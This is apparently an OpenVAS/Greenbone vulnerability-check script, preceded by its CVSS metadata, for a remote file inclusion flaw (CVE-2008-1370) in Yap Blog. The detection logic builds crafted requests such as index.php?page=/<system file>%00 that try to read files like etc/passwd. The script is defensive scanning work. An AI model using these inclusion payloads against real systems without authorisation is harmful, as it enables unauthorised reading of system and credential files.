CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
80.9%
Yap Blog is prone to a remote file inclusion (RFI)
vulnerability because it fails to sufficiently sanitize user-supplied input.
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100046");
script_version("2024-01-03T05:05:19+0000");
script_tag(name:"last_modification", value:"2024-01-03 05:05:19 +0000 (Wed, 03 Jan 2024)");
script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2008-1370");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("Yap Blog < 1.1.1 RFI Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2009 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"Yap Blog is prone to a remote file inclusion (RFI)
vulnerability because it fails to sufficiently sanitize user-supplied input.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"Exploiting this issue may allow an attacker to compromise the
application and the underlying system. Other attacks are also possible.");
script_tag(name:"affected", value:"Yap Blog prior to version 1.1.1.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
script_xref(name:"URL", value:"https://web.archive.org/web/20210121180740/https://www.securityfocus.com/bid/28120/");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");
port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
exit( 0 );
files = traversal_files();
foreach dir( make_list_unique( "/blog", "/yap", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" )
dir = "";
res = http_get_cache( port:port, item:dir + "/index.php" );
if( ! res || res !~ "^HTTP/1\.[01] 200" ||
( "/themes/" >!< res && "/datas/" >!< res && "/rss.php" >!< res ) )
continue;
foreach pattern( keys( files ) ) {
file = files[pattern];
url = dir + "/index.php?page=/" + file + "%00";
if( http_vuln_check( port:port, url:url, pattern:pattern, check_header:TRUE ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
} else {
# nb: etc/passwd not readable. Perhaps windows or open basedir enabled. Try to include yap rss.php. If included this results in "Cannot modify header..."
url = dir + "/index.php?page=rss.php%00";
if( http_vuln_check( port:port, url:url, check_header:FALSE,
pattern:"Cannot modify header information - headers already sent.*" ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
}
}
exit( 0 );